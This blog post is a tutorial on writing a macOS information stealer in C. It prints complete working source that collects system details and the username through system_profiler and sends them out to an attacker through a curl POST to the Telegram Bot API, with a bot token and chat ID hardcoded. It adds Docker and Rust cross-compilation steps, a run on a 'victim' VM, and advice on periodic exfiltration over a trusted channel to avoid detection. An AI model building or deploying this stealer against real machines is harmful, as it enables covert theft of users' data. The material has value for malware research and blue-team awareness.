MacOS hacking part 1: stealing data via legit Telegram API. Simple C example
﷽
Hello, cybersecurity enthusiasts and white hackers!
This article could be called something like: “Malware trick part 48” since this is the next post about the trick, but I decided to highlight a series of posts about malware for Apple/Mac at the request of my readers.
In the previous examples we created a simple Proof of Concept of using legit connections via Telegram Bot API, VirusTotal API and Discord Bot API for “stealing” simplest information from victim’s Windows machine.
What about MacOS systems? Nowadays, more and more targets of attackers are not only owners of Windows machines but also MacOS, Apple laptops is very popular.
practical example
The basic logic of our malware will be similar: sending system information via Telegram Bot API.
You don’t need to have an Apple MacBook to do this. For the simulation of MacOSX I used quickemu, for me it is worked perfectly:
https://github.com/quickemu-project/quickemu
Run it:
quickemu --vm macos-sonoma.conf
And you can use all features, Xcode, iPhone Simulator (for example, iOS 18.4 in my case):
My project’s structure looks like there (spyware
):
First of all, we need to get system information. On MacOSX you can use command:
system_profiler SPSoftwareDataType
As you can see, the response would contain detailed system info, including macOS version, kernel version etc.
So, we can parse it like this:
char command[] = "system_profiler SPSoftwareDataType 2>&1";
char buffer[BUFFER_SIZE];
FILE* pipe = popen(command, "r");
if (!pipe) {
perror("Failed to open pipe!");
return 1;
}
// system information
char systemVersion[BUFFER_SIZE] = {0};
char kernelVersion[BUFFER_SIZE] = {0};
char bootVol[BUFFER_SIZE] = {0};
char username[BUFFER_SIZE] = {0};
char computerName[BUFFER_SIZE] = {0};
// get buffer
while (fgets(buffer, sizeof(buffer), pipe) != NULL) {
// trim buffer
trimF(buffer);
// get system version
if (strstr(buffer, "System Version:") != NULL) {
strcpy(systemVersion, buffer + strlen("System Version:") + 7);
}
// get kernel version
if (strstr(buffer, "Kernel Version:") != NULL) {
strcpy(kernelVersion, buffer + strlen("Kernel Version:") + 7);
}
// get boot volume info
if (strstr(buffer, "Boot Volume:") != NULL) {
strcpy(bootVol, buffer + strlen("Boot Volume:") + 7);
}
// get username
if (strstr(buffer, "User Name:") != NULL) {
strcpy(username, buffer + strlen("User Name:") + 7);
}
// computer name
if (strstr(buffer, "Computer Name:") != NULL) {
strcpy(computerName, buffer + strlen("Computer Name:") + 7);
}
}
// close
fclose(pipe);
We need helper function for remove newlines and carriage returns:
// trim function
void trimF(char* str) {
char* pos;
// remove newlines
if ((pos = strchr(str, '\n')) != NULL) {
*pos = '\0';
}
// remove carriage returns
if ((pos = strchr(str, '\r')) != NULL) {
*pos = '\0';
}
char *token = strtok(pos, " \t\n\r");
if (token) {
strcpy(pos, token);
}
}
and main logic: send data via Telegram Bot API:
// function to send message via Telegram Bot API
int sendToTgBot(const char* message, const char* botToken, const char* chatId) {
char command[1024];
// URL encode message for safe HTTP request
char encodedMessage[BUFFER_SIZE];
snprintf(encodedMessage, sizeof(encodedMessage), "\"%s\"", message); // just for simplicity here
// build the curl command to send the message to Telegram
snprintf(command, sizeof(command),
"curl -s -X POST https://api.telegram.org/bot%s/sendMessage -d chat_id=%s -d text=%s",
botToken, chatId, encodedMessage);
// execute the command
int result = system(command);
return result;
}
As you can see, once the system information is collected, it needs to be sent to the attacker. This is where the Telegram Bot API comes into play. Using curl
, the attacker can send a POST
request to the Telegram server:
curl -s -X POST "https://api.telegram.org/bot<YOUR_BOT_TOKEN>/sendMessage" --data-urlencode "chat_id=<YOUR_CHAT_ID>" --data-urlencode "text=<SYSTEM_INFO>"
So, full source code is looks like this (hack.c
):
/*
* hack.c
* simple mac stealer
* author @cocomelonc
* https://cocomelonc.github.io/macos/2025/06/12/malware-mac-1.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define BUFFER_SIZE 128
// trim function
void trimF(char* str) {
char* pos;
// remove newlines
if ((pos = strchr(str, '\n')) != NULL) {
*pos = '\0';
}
// remove carriage returns
if ((pos = strchr(str, '\r')) != NULL) {
*pos = '\0';
}
char *token = strtok(pos, " \t\n\r");
if (token) {
strcpy(pos, token);
}
}
// function to send message via Telegram Bot API
int sendToTgBot(const char* message, const char* botToken, const char* chatId) {
char command[1024];
// URL encode message for safe HTTP request
char encodedMessage[BUFFER_SIZE];
snprintf(encodedMessage, sizeof(encodedMessage), "\"%s\"", message); // just for simplicity here
// build the curl command to send the message to Telegram
snprintf(command, sizeof(command),
"curl -s -X POST https://api.telegram.org/bot%s/sendMessage --data-urlencode chat_id=%s --data-urlencode text=%s",
botToken, chatId, encodedMessage);
// execute the command
int result = system(command);
return result;
}
int main() {
char command[] = "system_profiler SPSoftwareDataType 2>&1";
char buffer[BUFFER_SIZE];
FILE* pipe = popen(command, "r");
if (!pipe) {
perror("failed to open pipe!");
return 1;
}
// system information
char systemVersion[BUFFER_SIZE] = {0};
char kernelVersion[BUFFER_SIZE] = {0};
char bootVol[BUFFER_SIZE] = {0};
char username[BUFFER_SIZE] = {0};
char computerName[BUFFER_SIZE] = {0};
// get buffer
while (fgets(buffer, sizeof(buffer), pipe) != NULL) {
// trim buffer
trimF(buffer);
// get system version
if (strstr(buffer, "System Version:") != NULL) {
strcpy(systemVersion, buffer + strlen("System Version:") + 7);
}
// get kernel version
if (strstr(buffer, "Kernel Version:") != NULL) {
strcpy(kernelVersion, buffer + strlen("Kernel Version:") + 7);
}
// get boot volume info
if (strstr(buffer, "Boot Volume:") != NULL) {
strcpy(bootVol, buffer + strlen("Boot Volume:") + 7);
}
// get username
if (strstr(buffer, "User Name:") != NULL) {
strcpy(username, buffer + strlen("User Name:") + 7);
}
}
// close
fclose(pipe);
// trim all values before sending
trimF(systemVersion);
trimF(kernelVersion);
trimF(bootVol);
trimF(username);
// construct the message to be sent to Telegram
char systemInfo[1024];
snprintf(systemInfo, sizeof(systemInfo),
"System Version: %s\nKernel Version: %s\nBoot Volume: %s\nUsername: %s",
systemVersion, kernelVersion, bootVol, username);
// Telegram Bot details
const char* botToken = "7725786727:AAEuylKfQgTg5RBMeXwyk9qKhcV5kULP_po"; // please, replace with your bot token
const char* chatId = "5547299598"; // replace with your chat ID
// send system information to Telegram
int result = sendToTgBot(systemInfo, botToken, chatId);
if (result == 0) {
printf("system info successfully sent to Telegram\n");
} else {
printf("failed to send system info to Telegram\n");
}
return 0;
}
demo
Let’s go to see everything in action. First of all we need to compile our stealer. For this reason I used:
https://github.com/shepherdjerred/macos-cross-compiler
This project is really useful, you can cross-compile your code on Linux for MacOS.
As I wrote before based on the structure of our project, I used the following files:
Dockerfile
# use the macOS cross-compiler image as the base
FROM ghcr.io/shepherdjerred/macos-cross-compiler:latest
# update package list and install required packages
RUN apt-get update && \
apt-get install -y \
curl \
pkg-config \
libssl-dev \
gcc-mingw-w64 \
clang \
cmake \
make \
zlib1g-dev
# copy macOS project code into the container
COPY ./projects /app
# set the working directory
WORKDIR /app
RUN chmod +x /app/hack_compiler/target/release/hack_compiler
# execute the hack_compiler script and keep the container alive
CMD ["/bin/bash", "-c", "/app/hack_compiler/target/release/hack_compiler && tail -f /dev/null"]
and docker-compose.yml
networks:
mac_net:
services:
stealer:
build:
context: ./stealer
volumes:
- ./stealer/projects:/app
working_dir: /app
networks:
- mac_net
What is the hack_compiler
?
For compilation I wrote a simple script in rust:
use std::io;
use std::process::Command;
fn compile_project() -> io::Result<()> {
println!("compiling the project...");
let output = Command::new("x86_64-apple-darwin24-g++")
.arg("/app/hack_stealer/hack.c")
.arg("-o")
.arg("/app/hack_stealer/hack")
.arg("-static-libgcc")
.arg("-static-libstdc++")
.arg("-O3")
.output()?;
if !output.status.success() {
return Err(io::Error::new(io::ErrorKind::Other, "hack project compilation failed"));
}
println!("hack project successfully compiled :)");
Ok(())
}
fn main() {
println!("starting all...");
if let Err(e) = compile_project() {
eprintln!("{}", e);
std::thread::sleep(std::time::Duration::from_secs(2));
return;
}
println!("process completed successfully!");
}
As you can see, the logic is pretty simple. Used x86_64-apple-darwin24-g++
for cross-compilation, then if everything is ok, just print:
hack project successfully compiled :)
process completed successfully!
Ok, so, start our docker logic for compilation. Run:
docker compose build
then:
docker compose up -d
docker compose ps
docker compose logs -f
It’s looks like everything succsessfully compiled! =^..^=
You also can do it manually inside the container via rust commands:
cargo build --release
cargo run
Then copy compiled binary hack
from container to linux:
for checking correctness of binary format, run:
file hack
As you can see, this binary file is Mac-O 64-bit executable.
Note: perhaps you can do this compilation logic without Rust by simply running a cross compiler, but I haven’t checked
UPD: you also can check via command without Rust:
cd hack_stealer/
x86_64-apple-darwin24-g++ ./hack.c -o ./hack -static-libgcc -static-libstdc++ -O3
Run our victim’s MacOS VM:
copy hack
to ~/Desktop
:
and run:
./hack
Everything worked as expected, perfectly! =^..^=
Of course, in real attacks, the attacker can also configure the our program to send updates about the system regularly. For example, the malicious code can be configured to send information every few hours.
For example, the malware could be set to ping
the Telegram bot every 12 hours to exfiltrate updated system information. This makes it harder to detect because the data is being transferred over trusted channels (Telegram).
Maybe i will continue this series of posts about macOS, for example l can write something about process injection and malware persistence methods.
I hope this post is useful for malware researchers, C/C++ programmers, spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.
Malware development trick 40: Stealing data via legit Telegram API. Simple C example.
https://github.com/quickemu-project/quickemu
https://github.com/shepherdjerred/macos-cross-compiler
https://github.com/tpoechtrager/osxcross
source code in github
This is a practical case for educational purposes only.
Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine